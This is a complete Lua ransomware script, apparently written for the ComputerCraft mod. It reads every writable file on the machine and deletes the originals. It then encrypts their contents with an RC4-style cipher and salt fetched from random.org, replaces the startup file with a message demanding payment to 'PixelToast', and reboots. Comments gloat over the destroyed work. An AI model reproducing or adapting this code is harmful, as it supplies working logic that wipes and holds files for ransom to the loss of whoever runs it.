local tob64,unb64,genkey,new,serialize
do -- i like keeping functions i copy from my utility api in a do statement, so i can collapse it
	local _tob64={
		[0]="A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
		"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
		"0","1","2","3","4","5","6","7","8","9","+","/"
	}
	function tob64(stxt) -- hex was not intimidating enough
		local txt=tostring(stxt)
		if not txt then
			error("string expected, got "..type(stxt),2)
		end
		local d,o,d1,d2,d3={string.byte(txt,1,#txt)},""
		for l1=1,#txt-2,3 do
			d1,d2,d3=d[l1],d[l1+1],d[l1+2]
			o=o.._tob64[math.floor(d1/4)].._tob64[((d1%4)*16)+math.floor(d2/16)].._tob64[((d2%16)*4)+math.floor(d3/64)].._tob64[d3%64]
		end
		local m=#txt%3
		if m==1 then
			o=o.._tob64[math.floor(d[#txt]/4)].._tob64[((d[#txt]%4)*16)].."=="
		elseif m==2 then
			o=o.._tob64[math.floor(d[#txt-1]/4)].._tob64[((d[#txt-1]%4)*16)+math.floor(d[#txt]/16)].._tob64[(d[#txt]%16)*4].."="
		end
		return o
	end
	local _unb64={
		["A"]=0,["B"]=1,["C"]=2,["D"]=3,["E"]=4,["F"]=5,["G"]=6,["H"]=7,["I"]=8,["J"]=9,["K"]=10,["L"]=11,["M"]=12,["N"]=13,
		["O"]=14,["P"]=15,["Q"]=16,["R"]=17,["S"]=18,["T"]=19,["U"]=20,["V"]=21,["W"]=22,["X"]=23,["Y"]=24,["Z"]=25,
		["a"]=26,["b"]=27,["c"]=28,["d"]=29,["e"]=30,["f"]=31,["g"]=32,["h"]=33,["i"]=34,["j"]=35,["k"]=36,["l"]=37,["m"]=38,
		["n"]=39,["o"]=40,["p"]=41,["q"]=42,["r"]=43,["s"]=44,["t"]=45,["u"]=46,["v"]=47,["w"]=48,["x"]=49,["y"]=50,["z"]=51,
		["0"]=52,["1"]=53,["2"]=54,["3"]=55,["4"]=56,["5"]=57,["6"]=58,["7"]=59,["8"]=60,["9"]=61,["+"]=62,["/"]=63,
	}
	function unb64(stxt)
		local txt=tostring(stxt)
		if not txt then
			error("string expected, got "..type(stxt),2)
		end
		txt=txt:gsub("[^%a%d/%+]","")
		local m=#txt%4
		if m==1 then
			error("invalid b64",2)
		end
		local o,d1,d2=""
		for l1=1,#txt-3,4 do
			d1,d2=_unb64[txt:sub(l1+1,l1+1)],_unb64[txt:sub(l1+2,l1+2)]
			o=o..string.char((_unb64[txt:sub(l1,l1)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(d2/4),((d2%4)*64)+_unb64[txt:sub(l1+3,l1+3)])
		end
		if m==2 then
			o=o..string.char((_unb64[txt:sub(-2,-2)]*4)+math.floor(_unb64[txt:sub(-1,-1)]/16))
		elseif m==3 then
			d1=_unb64[txt:sub(-2,-2)]
			o=o..string.char((_unb64[txt:sub(-3,-3)]*4)+math.floor(d1/16),((d1%16)*16)+math.floor(_unb64[txt:sub(-1,-1)]/4))
		end
		return o
	end
	function genkey(state)
		local r=0
		local o={}
		for n in http.get("http://www.random.org/cgi-bin/randbyte?nbytes="..(state or 256).."&format=d").readAll():gmatch("%d+") do -- because schizophrenia
			r=r+1
			o[r]=string.char(tonumber(n))
		end
		return table.concat(o)
	end
	function new(key,state) -- i diddnt think a 256 byte key state was safe enough, so i made it optional
		state=state or 256
		local length=#key
		key={string.byte(key,1,#key)}
		local sch={}
		for l1=0,state-1 do
			sch[l1]=l1
		end
		local t=0
		for l1=0,state-1 do
			t=(t+sch[l1]+key[l1%length+1])%state
			sch[l1],sch[t]=sch[t],sch[l1]
		end
		local i=0
		local r=0
		return function(data)
			local length
			data={string.byte(data,1,#data)}
			for l1=1,#data do
				i=(i+1)%state
				r=(r+sch[i])%state
				sch[i],sch[r]=sch[r],sch[i]
				data[l1]=bit.bxor(sch[(sch[i]+sch[r])%state]%255,data[l1])
			end
			return string.char(unpack(data))
		end,sch
	end
	local function tserialize(dat,options)
		options=options or {}
		local out=""
		local queue={{dat}}
		local cv=0
		local keydat
		local ptbl={}
		while queue[1] do
			local cu=queue[1]
			table.remove(queue,1)
			local typ=type(cu[1])
			local ot
			if typ=="string" then
				ot=string.gsub(string.format("%q",cu[1]),"\\\n","\\n")
			elseif typ=="number" or typ=="boolean" or typ=="nil" then
				ot=tostring(cu[1])
			elseif typ=="table" then
				local empty=true
				ot="{"
				local st=0
				ptbl[#ptbl+1]=cu[1]
				for k,v in pairs(cu[1]) do
					empty=false
					st=st+1
					table.insert(queue,st,{k,"key"})
					st=st+1
					local val=v
					if type(v)=="table" then
						for n,l in pairs(ptbl) do
							if l==v then
								if options.nofalse then
									val="recursive"
								elseif options.noerror then
									return false
								else
									error("Cannot handle recursive tables.",2)
								end
							end
						end
					end
					table.insert(queue,st,{val,"value",nil,st/2})
				end
				if empty then
					ot=ot.."}"
					ptbl[#ptbl]=nil
					typ="emptytable"
				else
					cv=cv+1
					if cu[3] then
						queue[st][3]=cu[3]
						cu[3]=nil
					end
					queue[st][3]=(queue[st][3] or 0)+1
				end
			elseif typ=="function" then
				if options.nofunc then
					ot="function"
				else
					local e,r,er=pcall(string.dump,cu[1])
					if e and r then
						ot="f(\""..tob64(r).."\")"
					else
						if options.nofalse then
							ot="invalid function"
						elseif options.noerror then
							return false
						else
							error(r or er,2)
						end
					end
				end
			end
			if cu[2]=="key" then
				if type(ot)=="string" then
					local nt=ot:sub(2,-2)
					local e,r=loadstring("return {"..nt.."=true}")
					if options.noshortkey or not e then
						ot="["..ot.."]="
					else
						ot=nt.."="
					end
				else
					ot=ot.."="
				end
				keydat={cu[1],ot}
				ot=""
			elseif cu[2]=="value" then
				if keydat[1]~=cu[4] then
					ot=keydat[2]..ot
				end
				if cu[3] then
					ot=ot..("}"):rep(cu[3])
					for l1=1,cu[3] do
						ptbl[#ptbl]=nil
					end
					cv=cv-cu[3]
					if cv~=0 then
						ot=ot..","
					end
				elseif typ~="table" then
					ot=ot..","
				end
			end
			out=out..ot
		end
		return out
	end
	function serialize(t)
		local r=tserialize(t,{noerror=true})
		if r then
			r=r:sub(2,-2)
		end
		return r
	end
end
local mpass=table.concat({...}," ") -- no error checking here because i like having it crash with all your important stuff
-- this bit iterates through all your important files :D
local queue={""}
local out={}
local nqueue=2
local nout=1
while queue[1] do
	local m=queue[1]
	table.remove(queue,1)
	nqueue=nqueue-1
	local _,sname=m:match("(.+)/(.-)$")
	sname=sname or m
	if fs.isDir(m) then
		for k,v in pairs(fs.list(m)) do
			if m~="" then
				queue[#queue+1]=m.."/"..v
				nqueue=nqueue+1
			elseif not fs.isReadOnly(v) and v~=shell.getRunningProgram() then
				queue[#queue+1]=v
				nqueue=nqueue+1
			end
		end
		if m~="" then
			out[nout]=m
			nout=nout+1
			print("added "..m)
		end
	else
		print("added "..m)
		local file=fs.open(m,"r")
		out[nout]={m,file.readAll()}
		nout=nout+1
		file.close()
	end
end
print("deleting stuff")
for k,v in pairs(fs.list("")) do
	pcall(fs.delete,v) -- your program that took hours to code was here
end

local file=fs.open("yo_shit","w") -- your program that took hours to code is now here
print("generating esalt")
local esalt=genkey(512)
local msalt=""
local lmpass=#mpass
print("generating CF")
do -- clusterfuck salt prefix ( inspired by silver surfer )
	local l=0
	for l1=1,1024 do
		local st=1+((l1-1)%lmpass)
		local rt=1+((l1-1)%512)
		math.randomseed(l+string.byte(mpass,st,st)+string.byte(esalt,rt,rt)) -- this is the line that fails when you dont enter a pw
		l=math.random(0,0xFFFFFF)
		if l1%64==0 then
			msalt=msalt..string.byte(l%256)
		end
	end
end
file.write(tob64(esalt..new(msalt..esalt..mpass,1024)(serialize(out)))) -- your stuff is deleted first so incase the encryption crashes, your stuff is gone :D
file.close()
print("writing to startup")
local file=fs.open("startup","w")
-- this is what all true trolls strive for
file.write('print("Your stuff was encrypted by PixelToast, pay me and you get your stuff unlocked")')
file.close()
print("done")
sleep(2)
os.reboot()